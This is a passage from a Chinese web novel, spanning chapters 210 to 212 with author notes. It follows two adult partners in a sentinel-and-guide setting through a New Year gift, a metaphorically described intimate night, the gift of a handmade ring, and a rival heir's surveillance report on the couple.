江寻看着他闪闪发亮的双眼，和面庞上因为惊喜而泛起的红晕，笑着点了点头，语气温柔而肯定：“是的，就是它！恭喜你厌离，你吃到了新年的福气，接下来的一年里，你一定会顺顺利利，好运常伴身边。” 陆厌离定定看着江寻在摇曳的幻彩灯光与漫天烟花的映照下，格外温柔的眉眼，心中忽然一动。此时再想起刚才他突然要和自己互换汤圆的举动，心中霎时一片明净。这哪里是他得到的“福气”，分明是江寻故意分给自己的“福气”。 一股滚烫的热流随着这个清晰的认知，猛地涌上他的心头，陆厌离眼中一热，张了张口，却什么也说不出来，只是遵循着自己的本能，勾住江寻的脖子，猛地凑了上去，带着满嘴浓郁的蜂蜜滋味，吻住了江寻温润的嘴唇。 啧啧声中，蜂蜜的余味在两人唇间晕开，便如这个吻一般甜蜜而绵长。唇齿相依之际，眼神交汇之间，尽是浓得化不开的深刻爱意。 许久，陆厌离才微微喘着气退了出来，额头抵着江寻，呼吸交融之间，以轻声的呢喃许下心意：“我把福气……也分给你。” 江寻抬手轻轻抚上他的脸颊，指尖从他的额际缓缓下移，将这副被璀璨星火映亮的面孔深深刻进自己心底。 这一刻，两人的目光完全被彼此占据，不约而同地露出无限欢喜的笑容。 * 夜色更深，时间悄然滑向午夜。 别墅区中渐渐安静了下来，只剩下缤纷的彩灯与飞舞的萤虫在无声闪烁着。 江寻和陆厌离吃好了饭，一起收拾好杯盘狼藉，把摆在庭院中的折叠餐桌也收起来后，陆厌离眼神闪烁地看了江寻一眼，深吸一口气，像是为自己鼓足了勇气，对着江寻说道：“江寻，今天你给了我一个……最完美的新年，我……我也有礼物要送给你 。” 他的声音有些发紧，光是说出这么一句话已经让他紧张起来。耳根泛红，话音落下，甚至不敢再去直视江寻。 “我回房去拿，你……你等一会儿再上来看。”说完，也不等江寻回应，转身就快步回房上了楼。 江寻看着他的脚步声“哒哒哒”地消失在楼梯尽头，眉头一挑。不得不说，陆厌离这副神神秘秘的模样，确实勾起了他的好奇心。不过，看着他那紧张的样子，江寻也愿意配合他的仪式感，没有多问，只是莞尔一笑，手上快速收拾着东西。 直到把家具都归拢好，这才慢悠悠地转身回屋，向着楼上走去。 刚踏上楼梯，江寻的目光就被地上的一样东西吸引了。 一条长长的质感丝滑的深红色宽缎带，正垂落在楼梯中央，像一条指引的道标一般，从楼梯向上一路蜿蜒上去。 江寻弯腰捡起缎带的末段，玩味地在手指上缠绕了几下，感受着布料丝滑的触感，心下了然。这恐怕也是“惊喜”的一部分？ 不得不说，这样的设计的确令他的好奇心更加强烈了起来。他配合地一点点收起缎带，一步一步向着三楼走去，稍稍提高了声音，带着笑意向楼上喊了一句：“我要上来喽？” 他一路将地上的缎带缠起，顺着这道“道标”毫无意外地来到了虚掩着的主卧门口。听着门内窸窸窣窣的声音，低声一笑，提示一般敲了敲房门：“我要进来喽？” 话落，没等里面的人反应，便伸手推开了房门。 卧室里只开了几盏暖黄的地灯，朦胧的光线让所有东西的轮廓都影影绰绰的，染上了一层柔软的光晕。 那条深红色的缎带，继续向房内延伸过去，江寻的目光也随着这条缎带一路落到房间中央那张宽敞的双人床上。 此刻，床上赫然摆放着一个扎着巨大蝴蝶结的礼盒，而江寻手上的缎带，正正系在那个深红色的蝴蝶结下方。 随着江寻的拉扯，悬在空中的缎带悠悠晃动了几下，丝滑的缎面，在昏黄的灯光下摇曳出一片动人心魄的暗影。巨大的蝴蝶结，也受到了这股力道的触动，颤颤巍巍地晃动起来，像是摇摆着的手臂，轻轻挥舞着，呼唤着猎物自投罗网。 这出乎意料的一幕骤然入眼，令江寻的心脏当即不受控制地加速跳动起来，眼神瞬间深邃。他定定地看着那个巨大的礼盒，仿佛已经预感到盒中藏着怎样一份独一无二的大礼。 似乎是察觉到外面骤然安静了下来，礼盒里传来一阵细微的窸窸窣窣摩擦声。 江寻不动声色地缓步走近，手指轻轻用力，抽开了那个绑在礼盒上面的华丽蝴蝶结。 缎带跌落床面的那一瞬，他没有丝毫犹豫，伸手握住礼盒的盖子，缓缓向上掀起。 一眼看清盒内的景象，他当即轻抽一口气，呼吸一窒。 宽大的礼盒中，此刻正跪坐着一人，正是说要准备礼物，却不见了踪影的陆厌离。 他已经换下了刚才吃饭时的那身家居服，正手忙脚乱地将一件明显小了一个号的深红色毛茸茸的猫猫小背心，往下拉扯着。虽然他的身材已经十分清瘦，可那背心明显是为身材更加纤细的少年设计的，此刻，正紧紧卡在他紧实的胸肌上方，怎么都拉不下去。仓促而粗暴的动作，已经在他苍白的皮肤上留下了一片红痕，深红的布料、苍白的皮肤，再加上被勒到泛出粉红色泽的痕迹，共同碰撞出一种惊心动魄的诱人风情。 他的脚踝上束着同样材质的毛绒踝带，上面挂着的小巧铃铛，正因为他的轻微动作发出点点细碎清脆的声响。下身仅着一条紧身小短裤，同样小了一个号的尺寸勒在大腿肌肉上，鼓起一圈十分具有肉感的弧度。手上戴着同色系的露指手套，手背上缀着一个颤颤巍巍的深红绒球。而最显眼的，是他脖颈上那条从未摘下的黑色项圈。因为用力而微微浮现出来的青色血管，被黑色的皮带束缚着，在他喉结颤动之间，显出一种强烈的禁忌诱惑来。 而这还不是全部，他甚至还部分拟化了躯体，单单露出头顶的一对灰色猫耳与身后一条毛茸茸的大尾巴。大大的耳朵机警地转来转去，露出一点粉红色的耳骨来。毛茸茸的大尾巴油光水滑，此时却因为盒子里有限的空间，在摆动间被蹭乱了尾毛。尾巴根处，还系着一个与礼盒上同款的深红色大蝴蝶结。此刻，那缎带蝴蝶结正随着他尾巴不安的摇摆，在空气中轻轻晃动着。 盒盖突然被打开，骤然暴露在灯光之下，令陆厌离立刻像受惊了一般猛地抬起了头。一眼看到头顶上江寻的面孔，更是让他一双碧眸中盛满了惊慌与羞窘。 因为用力拉扯衣服而泛红的脸颊，此刻更是瞬间涨得通红。他显然没想到江寻会上来得这么快，不小心将自己这副“未完成”的模样完全暴露在了对方面前。 此时再去拉扯衣服已经来不及，他干脆不再去管被卡住的上衣，急急从脚下摸出一张早就准备好的卡片，忍着极度的羞窘，颤抖着举在自己胸前，展示给江寻看。 印花卡纸上，以清晰的字迹写着一个标签： 【江寻专属补偿哨兵】—— 作者有话说：你们懂[坏笑]《 》 210-215 第211章 看清卡纸上字迹的刹那， 江寻的目光瞬间被点燃，直直落在陆厌离身上，视线在他身上缓慢而仔细地寸寸游走。 陆厌离死死埋着头， 双手高举着那张卡片，试图遮挡住自己通红的脸颊。却不知道因为这个抬高卡纸的动作，此刻的他，好像故意将几近赤裸的胸膛更加明显地暴露在江寻面前似的。 照着老师给他的书上说的， 摆出这副模样， 已经耗尽了陆厌离全部的勇气。结果还没找到合适的衣服， 直到这会儿那件背心还卡在自己胸膛上，他几乎能想象到自己在江寻眼中是怎样一副狼狈的模样， 更是不敢抬头去看对方的表情。 此刻再被江寻灼灼的目光注视着，令他脸颊上的红晕一路蔓延，直直染红了整个耳朵， 下意识地将身后毛茸茸的大尾巴甩到身前， 试图遮挡住自己。 半晌过去，只听到头顶上传来的呼吸声，却不见江寻有任何反应。陆厌离有些沮丧地抿了抿嘴， 举在身前的卡纸都低垂了一些。 犹豫片刻， 还是再次鼓起勇气， 带着浓浓的羞涩， 低声说道： “我们这里也有种风俗， 过新年的时候， 哨兵要为自己的伴侣送上最好的战利品……我……我看了一些书， 上面说可以这样送给向导惊喜，你……你不喜欢吗？……对不起，我好像……有点搞砸了……”陆厌离的声音越来越低， 透着浓浓的沮丧。 “你知道自己在做什么吗？”江寻脸上原本轻松的笑意在此刻已经完全消失了踪影，抓着礼盒的手指不知不觉中用了力，将硬质的盒壁都捏得皱起。 “我……”陆厌离顿了顿，虽然他按照书上写的做出了这么羞耻的事，可让他当面对着江寻说出来，还是让他羞耻到了极点，犹豫了一下，才声如蚊讷地开口，“我是你的哨兵……我想把自己送给你……” 话音入耳，江寻喉结上下滚动不休，身体骤然绷紧，像是在极力克制着什么，呼吸变得急促起来。 “我这个样子是不是很奇怪……”陆厌离仍死死低着头，抓着卡纸的手指紧张地蜷缩了起来。江寻始终无动于衷的态度，令他心中满溢的羞耻渐渐化作难以言喻的惭愧，声音都有些哽了起来，“对不起……我的年纪这么大了，还像十几岁的年轻孩子似的这样打扮是不是很怪异……买衣服的时候，店家也说这套衣服是给少年设计的，成年人穿可能不合适，更何况我还是哨兵……但是时间有点赶，我也不知道该去哪里买更合适的……”陆厌离越说越沮丧，逐渐开始语无伦次。 然而此时，头顶上，却传来一个暗哑的声音：“……你们的风俗里，伴侣如果接受的话，该怎么做？” 陆厌离一怔，听着这个沙哑到不正常的声音，心中隐约有了某种预感，心脏也开始狂跳起来。 “接受的话……”他终于鼓起了勇气，抬起那双水光潋滟的碧眸，望向江寻，“那对方要给哨兵筑巢，迎接哨兵的入住……” 陆厌离的话语被一个急切的拥抱打断，他只觉腰间一紧，被一条伸出的臂膀牢牢扣住，下一秒，身体一轻，已经被男人抱出礼盒，死死扣进了怀里。 * 夜色轻悄，窗外仍有零星彩灯闪烁，庆祝新年的人们却已经被困意驱赶着，纷纷进入了梦乡。 然而其中一栋湖畔别墅的三楼窗户里，仍有昏黄的灯光将两个纠缠在一起的身影倒映在墙面上。 宽敞的主卧室里，被捏得变了形的礼盒被主人随意地丢在地上，长长的深红缎带在地上蜿蜒流淌，一头耷拉着挂在礼盒上，另一头延伸到旁边窸窣作响的大床上，随着床身的晃动荡漾出阵阵深红微光。 陆厌离跪坐在江寻腿上，被他扣着后脑激烈地亲吻着，江寻难得的冲动表现让他也一时失去了自控力，任由对方的大手如藤蔓般缠绕着自己，在身上肆意逡巡。 “不是……不是说要给我筑巢吗，你怎么……唔……”间隙里，陆厌离艰难地退开片刻呼吸一口空气，控诉般说了一句，可话还没说完就又被一把抓回去，重新堵住了呼吸。 对方强硬急切的动作，完全失去了平日里的温柔克制，令陆厌离浑身都战栗起来，几乎无法招架。 “你这不是……已经在我的巢穴里了吗？”藤蔓怪物低沉的声音在陆厌离耳边响起，话语中的意味让他情不自禁地颤抖起来，仿佛真的变成了一个不小心跌落山崖，却误入了怪物巢穴的冒险者。 可怜的冒险者被深红色的柔软绳索将双手完全缚在身后，毫无挣脱余地地陷落在怪物手中。 蜿蜒的藤蔓，顺着后背爬上冒险者的脖颈，拽着他后颈的颈圈往后一扯。冒险者被这股力量拽得从喉咙中溢出一声“嗬嗬”轻喘，无可抵御地高高扬起了下巴，挺起胸膛将自己送到了藤蔓的主宰面前。 苍白的肌肤，在这暗无天日的洞窟中，被月光照耀地莹润生辉，吸引得藤蔓攀附而上。伸展的肌肉蕴含着极致的力量，此刻却在主宰的控制下毫无反抗之力地细微颤抖着。 绞缠的藤蔓捆缚住身体，洞穴中灼热的空气烧得他难以呼吸。 冒险者心中生出悔意，不该高估自己的实力贸然深入险地，此刻却已悔之晚矣。只得哀声祈求着主宰的怜惜，却得不到丝毫回应。 眼看脱身无望，冒险者只得退而求其次，轻声请求藤蔓的主宰先让自己卸了身上深红的紧缚枷锁。主宰状若仁慈的应允，却不令冒险者自己动手，而是亲自指挥着蜿蜒的藤蔓解开锁扣，却又在枷锁褪到一半时不讲信义地反了悔。 胸前的枷锁被翻转过去扣在手肘上，胯骨上的枷锁同样被翻转下去扣住了双膝，四肢被制的冒险者完全失去了反抗的能力，只能如一条白色肉虫般在月光下摇摆。他此时终于明白了主宰的险恶用心，哀哀哭泣出声却已来之不及，被一把按在了藤蔓之间，随着身下翻滚的藤浪颠簸起伏。 并拢的双膝抵住肩头，清脆的铃声在耳边响个不停，冒险者哀求怜悯，泪湿眼睫，哭得嗓音都沙哑起来，才终于求得一丝主宰的宽容。 趁此良机，冒险者铤而走险，试图翻身寻隙逃走。哪知藤蔓的主宰可一直将注意力放在他身上，立刻指挥着藤蔓蜂拥而上。冒险者只觉身后茸尾一紧，却已经在这瞬息之间再次被藤蔓紧紧缠绕。发现了冒险者的逃跑意图，主宰再无一丝怜惜，提起茸尾，绕住脚踝，在冒险者的惊呼声中彻底将他拉入洞穴深处牢牢钉住。 冒险者受此重创，被撞击得哼出一声哀吟，再不能敌，被压跪在地上无法动弹，只余茸尾根部那朵巨大的蝴蝶结随着不绝于耳的泠泠铃声，翘在空中不停摇摆。 久久，藤蔓的主宰终于从冒险者身上汲取够了精气，对月长啸一声吐出滚滚浊露。可此时，可怜的冒险者已经在长久的颠簸中摇散了神志，泪汗交织，就这么跌入了罪魁祸首的缠绕之中，只余声声无意识的低吟在洞窟之中回荡不休。 餍足的主宰终于赦免了鲁莽前来除魔的冒险者，褪去他四肢上的枷锁，温柔地将他搂入怀中，重新披上了平日里那副温柔和善的外衣。 江寻一把抱起几乎失去意识的陆厌离，怜惜地在他额上印下一吻，伴着“叮铃”作响的铃声，抱着他下了床，往浴室方向走去。经过窗边时，突然闻听窗外隐隐传来一阵欢呼声。提前设置好的室外全息投影，也骤然炸响，向着天空喷出一道绚烂光影，这一声，惊得被他拢在怀里的陆厌离都迷迷糊糊地半睁开了眼睛。 一朵璀璨的巨型花朵在空中绽放开来，一瞬染红了整片黑暗夜幕。 江寻对上陆厌离惊讶的双眼，低头珍惜一吻，轻语出声：“新年快乐，陆厌离。” * 晨光透过窗帘的缝隙，在卧室窗前的地板上，映照出一道温暖的光带。 江寻长吸一口气悠悠醒转，肩膀刚刚一动，便第一时间感受到了枕在臂弯间，那个沉甸甸的柔软分量。 微低下头，借着昏黄的光线一看。陆厌离正紧紧贴着他，侧卧在旁，脸颊深深埋在他的肩窝里，一条手臂还环在他的腰间。自己只是稍稍一动，肌肤相贴之间，就磨蹭出一片滑腻触感。 昨夜他们实在闹腾得太晚了，直到现在太阳已经完全升了起来，对方却仍呼吸悠长，显然还沉浸在美梦之中。 泛红的眉眼柔和了他闭起眼睛时略显冷淡的气质，湿润的长睫在眼下投下阴影，嫣红的唇瓣微微肿起，再往下看，大片大片的青紫红痕一路延伸至被褥之下不可见处，更是为他身上平添了三分无端的脆弱风情。江寻喉头一紧，心中顿时涌起一股难以言喻的怜爱与疼惜。 神志渐渐清醒，昨夜发生的一切如流水般从脑海中滑过，江寻忍不住捂脸低吟一声。最亲密时，从陆厌离身上显出的那份毫无保留的奉献，正正戳中了他心中最不为人知的一点隐秘思绪，刺激得他完全失去了控制。 这会儿再看，陆厌离身上到处都是自己留下的犯罪证据，不禁令他既心疼又懊恼，可除此之外更多的，却是几乎要从心中满溢而出的满足感。 他忍不住抬手轻轻从怀中人发间眉梢上轻抚而过，却又不敢惊扰了他的安眠。仔仔细细望着他沉睡的面容端详半天，终于控制不住地露出一个无声的笑意，低下头去，极轻地在那光洁的额头上印下一个珍惜温柔的吻。然后才动作轻柔地拿下他搭在自己身上的手臂，替他掖好了被角，后退着悄无声息地下了床。 脚步轻快地洗漱过后，下了楼，看着清晨的阳光洒满房间，江寻只觉精神饱足，神清气爽，精神力活跃充溢，连空气中似乎都弥漫着甜意。不禁暗叹怪不得向导都要找固定的哨兵频频精神补偿，原来居然是如此美妙滋味。 从未享受过这般盛宴的S级向导回味地咂咂嘴，忍不住舔了舔唇瓣露出一个笑容。而后便哼起了不知名的小调，开始收拾起昨晚遗留下来的种种痕迹。 把扔了满地的，沾满了不明污渍的衣服一件件捡起来丢进洗烘箱里。拾起那两件饱经折腾的猫猫上衣与短裤时，更是瞬间让昨晚的诱人画面重新浮现在了眼前，令他忍不住低笑出声。 室内的杂务收拾完毕，这才卷起袖子悠然走进厨房里。昨晚着实累坏了他的哨兵，他得做一顿丰盛的早餐好好慰劳慰劳才行。 江寻莞尔一笑，点燃炉火，不一会儿，煎蛋的滋滋声，烤面包的麦香便充满了整个房间。 准备好早点，刚把餐盘放进保温箱里，院门外却有门铃声响起。 江寻有些意外，出了房门透过监控一看，却是一名身上印着“速达物流”的快递机器人。 开门从它手中接过一个不大的包裹，拆开包装，看到打开的绒盒中那枚黑色的矿石时，他才恍然想起，这是他在节前订购的那颗黎明石。 品相不错的矿石，在阳光下毫无异样，被江寻拿进房间之后，却在略有些黯淡的室内光线下，开始散发出柔和的乳白光晕。江寻将这颗黎明石捏在手中打量一二，心中一个念头渐渐清晰起来。唇角勾起一个笑意，他知道该把它做成什么东西了。 念头既定，他立刻行动了起来。之前他在订下这颗石头时，就已经准备好了将来加工时所要用到的一些工具与用来镶嵌的贵金属材料。这会儿，再登上终端，快速翻阅了几份类似的设计图纸后，便在心中勾勒出了他想要做成的模样。 他干脆进了书房里，用感应笔亲自画了一张设计图，又通过终端扫描检索后提出建议，修改了半天，终于得出了一份理想的设计图。 有了图纸，手工作业立即开始。 得益于星际时代先进的微型激光切割技术与分子粘合技术，像这种不算太难的手工作业，即使是初学者也可以凭借工具之利独立完成，更不要说江寻这种经常自己动手制作东西的半熟手。 江寻全神贯注起来，甚至具现化出几根精神触须用作辅助。先是将银色的贵金属材料加热折叠，直至韧性足够后塑形成指环的雏形，再仔细地打磨边缘，制作镶嵌孔。 接着拿起那块黎明石，在激光笔的小心操作下，将其切割打磨成适合镶嵌的戒面形状，通过打磨抛光，将戒面与指环的表面处理得圆润光滑，质地细腻。 最后，再将处理好的黎明石小心地嵌入指环中心预设的卡槽上，用分子粘合剂充分固定。 晾干清洗之后，一枚独一无二的戒指便躺在了江寻的掌心里。 银灰色的指环造型简洁而经典，上面托着的黎明石在黯淡的光线下散发出乳白色细微却坚定的微光。江寻来回端详半天，终于露出了一个满意的笑容。 待彻底完工，他再也按捺不住心中的渴望，带着这枚由他亲手制作出来，承载着特殊意义的戒指，重新踏入卧室，回到了爱人的身旁。 陆厌离在一阵温暖又疲惫的满足感中悠悠转醒，脑海中还残留着一些昨夜逃脱无门，被抓住翻来覆去折腾的崩溃情绪，意识还没完全回笼，先是皱起了眉头，难以承受地低吟出声。 缓了缓神，这才慢慢清醒过来，刚恢复一些意识，便感觉到自己的一只手正被人轻柔地握着，一个微凉的触感正被人往自己的手指上套着。 迷迷糊糊地睁开眼，这才从昏暗的室内光线中，分辨出那个轻轻搂着自己的熟悉面庞。 “江寻……？”陆厌离下意识地开口唤道，声音响起才发现一片沙哑，语不成调，几乎只剩下气音，喉咙也干涩得厉害。 这时才猛然想起了昨夜发生的一切，脸上顿时一阵爆红。看着江寻近在咫尺间的面容，下意识就想躲避，却被早有预料的江寻牢牢固定住：“别动。” 一声不算严厉的命令却当即令陆厌离下意识地停住了动作。 江寻将他这一系列的反应看在眼里，不由从眼底深处流露出笑意。轻轻托起陆厌离的头靠在自己身上，这才将提前准备好的一杯温热的牛奶递到了他的唇边。 陆厌离红着脸就着他的手小口喝了几口，让温润的牛奶滑过咽喉，这才感觉舒缓了一些。此时，才想起刚刚醒来时候的异样，低头向着自己手上看去。 “这是……”陆厌离抬起左手中指，此时，在他的指根位置，正赫然套着一枚大小合宜的戒指。戒圈是一种泛着冷光的银灰色金属，正好与他的发色相配。整体的结构十分简洁利落，看得出就算工作时或是做出一些大动作时，也不会妨碍到主人。 戒指中心镶嵌着一块圆形的饱满黑石，可这黑石此刻，却在向外散发出一种柔和的乳白色微光。 “黎明石？”生于中央星的陆厌离虽然自己没有经手过，却也第一时间便认出了这种有名的矿石，立刻睁大双眼，惊讶地看向江寻。 江寻托着他的手，细细摩挲着他的指尖，轻笑一声解释道：“对，就是黎明石。你陪我过了一个属于我家乡的新年，我也想送你一个符合你的家乡习俗的新年礼物。这是我亲手做的，喜欢么？” 陆厌离脸上立刻浮现一个笑容，爱不释手地抚摸打量着手上的戒指，重重地点了点头：“当然喜欢。” 江寻轻轻侧头，在他额际印下一吻，目光深邃地望进陆厌离的眼底，声音低沉而认真：“在我的家乡里，还有一个习俗。在左手中指上戴上戒指，便是伴侣之间订下鸳盟的意思；而当他们正式立下誓言，确定终身伴侣的时候，就会再将一枚戒指戴在无名指上。” 江寻的手指从陆厌离中指的指根，慢慢游移到如今还光秃秃的无名指上，意有所指地对他说道。 陆厌离的心中猛地一跳，一股滚烫的暖流骤然从心间流溢而出，瞬间涌遍了四肢百骸。 他顺着江寻的视线低下头去，怔怔地看着环绕在手指上的那道微光。那个简简单单的银灰色指环，此时正牢牢地圈在他的手指上，却似已经圈住他的心尖。他看着江寻深深望过来的视线，仿佛已经听到了那个无声却坚定的承诺。 一股巨大的期待瞬间袭上心头，喜悦与甜蜜如滚烫的温泉一般霎时将他彻底淹没。 他不受控制地露出一个灿烂的笑容，收回手，将那只小小的戒指举到眼前，用充满了爱意与满足的目光，反复端详着。碧绿的眼眸在昏暗的房间中流光溢彩，蕴着深深的情意，望入江寻的眼眸。 受到如此蛊惑，江寻再不能自持，轻轻托起陆厌离的头转向自己的方向，呼吸相闻之间，目光纠缠，点燃了空气。 缓缓低下头去，拨开陆厌离额上的银灰发丝，啄吻在他的额间。而后，充满珍惜与爱意地慢慢下移，轻触过他的眼帘、鼻尖，深深地与他对视良久，拇指按在他的下唇上，将微肿的唇瓣再次搓揉出一片亮色，而后，噙着一个满足的笑意，深深吻了下去。 盈盈情意在空气中脉脉流动，便是一片甜蜜缱绻。 良久唇分，两人这才对视一笑。 “好了，我要起来了。”被看得再次不好意思起来，陆厌离轻轻推了推江寻，想要起床。 刚想使力坐起，却觉腰间传来一阵清晰的酸软酥麻，顿时又低吟一声倒了回去。茫然一瞬后，猛然明了了原因。与此同时，因为刚才的动作从身上滑落下去的被子带来一阵凉意，陆厌离低头一看，胸前一片狼藉，这才意识到自己此时居然未着寸缕！ 瞬间，昨夜那些更加火热缠绵，让人脸红心跳的限制级画面清晰地撞入了脑海，陆厌离脸颊“轰”一下彻底爆红。立马羞赧地拉起被子完全遮住了自己。 可身子一动，却又从脚底传来一阵细微而沉闷的“叮铃叮铃”声响。这小小的声响，此刻却像炸响在陆厌离耳边一般，令他身体一僵，眼眸不可置信地睁大。 不敢相信地掀开被子一角，朝自己脚下看去。昨夜那条毛茸茸的深红色脚踝带，连同上面挂着的那颗小巧的铃铛，居然还好好地戴在他的脚腕上！—— 作者有话说：[害羞]传下去，发喜糖[橘糖][紫糖][橘糖][紫糖] 第212章 陆厌离不敢置信地低头一看， 昨天那条深红色的踝带，居然还好端端地套在他赤裸的脚踝上，稍稍一动， 就引得挂在上面的铃铛“叮铃铃”一阵脆响。 他猛地抬起头来，羞恼地瞪向江寻，脸上霎时间红得几乎要滴出血来：“你……你怎么不给我把这个摘掉！” 江寻看着他这副又羞又气的生动模样，却是低低笑出声来， 伸手将他连人带被一股脑揽进怀里抱住， 下巴蹭上他的发顶， 语气里满是毫不掩饰的逗弄：“这可是你送我的礼物呀，我可喜欢得不得了！这么好听的铃声， 昨晚听了一整夜都没听够，感觉真的特别适合你，所以就……舍不得摘下来嘛……” 说话时一句三叹， 直把那股子得意洋洋的劲头演绎得淋漓尽致， 直白的话语，臊得本就面皮薄的陆厌离害羞得耳根通红，几乎要咬破嘴唇， 羞愤之下伸手就要去解那踝带。 可江寻哪里会让他轻易得逞， 笑嘻嘻地就去抓他的手腕。两人一个要摘， 一个要挡， 在挣扎间， 江寻也被陆厌离卷进了被窝里。这下可好， 简直是放老鼠进了米缸里， 纠缠在一起的两具躯体顿时在被子里闹作了一团。 陆厌离虽是身体素质更强悍的哨兵，可这会儿带着一身的痕迹，□□， 身上又腰酸腿软的，简直像被刚刚采补过似的，纠缠起来束手束脚。而反观对手，经过一夜的补偿，此刻正是神清气爽，精力旺盛的时候，动起手来不仅频频不讲武德地往陆厌离敏感处偷袭，甚至还偷偷凝聚出了几条精神触手来帮忙，两相对比之下，结果几乎不言而喻。 没两下子，陆厌离就被江寻一手箍住手腕，一手扣住腰身，气喘吁吁地死死压在了身下，丝毫动弹不得。 “你……你怎么还用精神触手，你明知道我受不了这个！”陆厌离又羞又恼，他对江寻的精神力量敏感至极，特别是这种高度凝聚具现化出来的触手，几乎是一碰就软，每次接触到都会丢脸地露出羞耻的模样。 而此时，罪魁祸首还故意让那凝聚出来的几条触手悬在他身体上方不住翻卷舞动着，似乎随时都会缠绕上来，惊得陆厌离再不敢乱动，只用力推着江寻压下来的结实胸膛抗议出声。 可他这点力道对此时的江寻来说，却如蚍蜉撼树，根本纹丝不动。气得他一拳捶在江寻身上泄愤，最后只能扭过头去，把发烫的脸颊埋进了枕头里，委委屈屈地小声抱怨起来：“……太过分了，我给你补偿得这么好……一转身，你倒把这些功夫全用在我身上了……” 江寻被他这副委屈巴巴的小模样逗得“噗嗤”一声笑出声来，挥手散去了那几条虎视眈眈的触手，却仍旧不松开手臂，反而在他暴露出来的透红耳尖上亲了亲，也不叫他起身穿衣，直接连人带被把他从床上捞起来，在陆厌离的惊呼声中，用软被把他团团裹住，轻松地将人托抱在自己的臂弯上，搂着他就往门口走去。 “……你做什么，放我下来！”陆厌离被这个像抱小孩似的姿势窘地无地自容，下意识地搂住了江寻的脖子。反应过来后，马上扭动着要下地，却被江寻“啪”地一声，隔着被子打在了屁股上，顿时满脸通红地僵住了身形。 “别乱动，带你去吃东西。”江寻得逞地一笑，制住了怀里“毛毛虫”的反抗，抱着手上的被子卷就往楼下走去。 走上了楼梯，陆厌离更加不敢乱动了，生怕江寻抱不稳把他摔下去。掩耳盗铃一般把脑袋死死埋进罪魁祸首的颈窝里，只露出一双欺霜胜雪的脚踝在被子外面，和着“叮铃铃”的铃铛声，在清晨安静的别墅中，清脆回响。 江寻一路噙着笑容，走进了餐厅里，直到坐上了餐椅也不把人放开，就这么将裹在被子里的陆厌离环在身前，开始一口一口地喂他吃起了早餐。 陆厌离开始还有些不好意思，抗议着要自己动手，可一抽出手臂来，肩头、手腕上遗留下来的青紫痕迹，便在清晨的阳光下被照得显眼极了。眼看着江寻的眼神一瞬深沉了下去，吓得他立马缩回了手臂，再不敢乱动，就着江寻的手，乖乖地接受起投喂来。 好在等他整个人躲进被子里以后，江寻也没再做一些多余的小动作，就这么规规矩矩地给他喂食，让他渐渐放松了下来。 只是偶尔，江寻还是会凑近过来，温柔地亲亲他的脸颊，摸摸他的唇瓣，惹得陆厌离耳根始终泛着热潮。待一顿饭好不容易吃完，他终于忍不住软软瞪了江寻一眼，却换来了一道更深沉的目光与亲密的缠吻。 好好一顿早餐，却吃得黏黏糊糊，柔情蜜意，连空气都仿佛拉出了丝来。 吃饱喝足，又被暖洋洋的阳光一照，陆厌离忍不住打了个哈欠，再度泛起困来。江寻一看他这模样，便知他还没休息够，这会儿回笼的睡意又再次袭来，便再次将他连人带被抱了起来，一路走回了卧室，轻轻放回床上。 “睡吧，我陪你一起。”江寻在他耳边低语一声，随即也脱下了外衣，掀开被子躺了进去，手臂一伸，又将陆厌离重新搂进了怀里。 赤裸的皮肤蹭在对方微凉的衣服上，顿时让陆厌离的神志又清醒了一分，红着脸下意识地轻轻推拒了一下：“……不用陪我，你……你去忙你的……” 江寻只是微微一笑，没有回答。侧过身去，低头再次吻住了他。这个吻清浅而绵长，带着十足的安抚意味，轻易便让陆厌离重新放松下来，那点子缘于羞耻的微弱抵抗，被这样充溢的安全感轻松瓦解。 同时，陆厌离只觉酸软的腰间一暖，已是被一只宽大的手掌覆了上去，轻柔地揉捏起来，温热的掌心与适宜的力道，顿时让他从骨头缝里透出一阵难以言喻的舒适感，止不住地低吟出声。 心中一阵安宁，略有些紧绷的身体也在这样的舒适下渐渐松弛下来，推拒的手反而轻轻攥上了江寻的衣襟，陆厌离低垂着脸庞，半推半就地偎进了那个温暖可靠的怀抱里。 伴着轻柔的按摩与熟悉的气息，他的最后一点意识也渐渐模糊，缓缓沉入了柔软的黑甜乡中。 * 同一时间，在大部分的民众们都团聚在一起，享受着新年的温馨美满时，联盟中央星的另一端，一栋巍峨庄园华丽大气的主书房里，气氛却截然不同。 伊莱·凡纳扯了扯衣领，将颈上系得一丝不苟的领结拽下随手丢在地上，穿着那身挺括而华丽的正式继承人礼服，重重倒进了宽大的皮质座椅中。 久久，才长长呼出一口气来，指尖按了按鼓胀的太阳穴，微微抬眼瞥向静立身后的下属。 始终沉默着等在一边的下属，立刻上前一步，走到近前，低声汇报起来： “少爷，根据我们的人探查到的结果，近期陆厌离少将一直与江寻先生一起，居住在愈灵殿为江寻先生分配的别墅里，形影不离。看起来关系十分亲密。但仪器并没有监测到有高强度的精神力融合波动产生。我们派出的向导也近距离感知后确认，他们二人的精神力场虽然有交互相融的迹象，但这种迹象仅属于高匹配度下的自然融合，并没有达到永久绑定所特有的‘共鸣’深度。可以判断，两人目前还没有完成彻底结合的步骤。” 伊莱眼中一利，闪过一道精光：“情报确认属实？” “是的！完全确定！”下属恭声应道，随即又继续汇报起来，“另外，关于陆家那边的动向……” 他稍稍停顿了一下，组织语言，接着道：“根据那边的眼线传回的消息，陆厌离少将似乎早在一段时间前，便已经与陆明远家主闹翻了，自那之后便再未返回过陆家老宅。前段时间，江寻先生的真正向导等级被公布后，陆明远家主的态度有所软化，似乎曾经向陆厌离少将发去讯息，称只要陆少将能在新年带江寻先生回家参加陆家家宴，之前的事情便可既往不咎，并愿意接纳江寻先生加入陆家，但……” 他微微抬头，看了伊莱始终不动声色的面容一眼，接着说道：“但陆厌离少将似乎并未回复，不仅没有带江寻先生出席家宴，连他自己也没有回去。新年期间，二人一直独处在江寻先生的别墅中。有人曾目击，他们还在年前一起去往商场购买过年货。此举令陆家主在家族宴会上大发雷霆，曾放言要教训陆厌离少将。” 听到这里，伊莱的嘴角终于勾起一抹冰冷的讥诮笑意。 “陆明远这个家伙，反应可真够慢的。都到这个时候了，外面多少家族都盼着能和江寻搭上关系呢，他可倒好，还端着自己大家长的架子等着陆厌离低头呢，哼！”他嗤笑道，琥珀色的眸子中，闪烁着思索的光芒，“不过……这或许是一个可以利用的突破口……” 他挥了挥手，令下属退下。指尖敲击在扶手上，思绪流转，沉吟了片刻，才伸手点开了自己的终端，翻到联系人的界面，滑动几下，找到目标拨通了过去。 几声等待音后，通讯被接了起来。 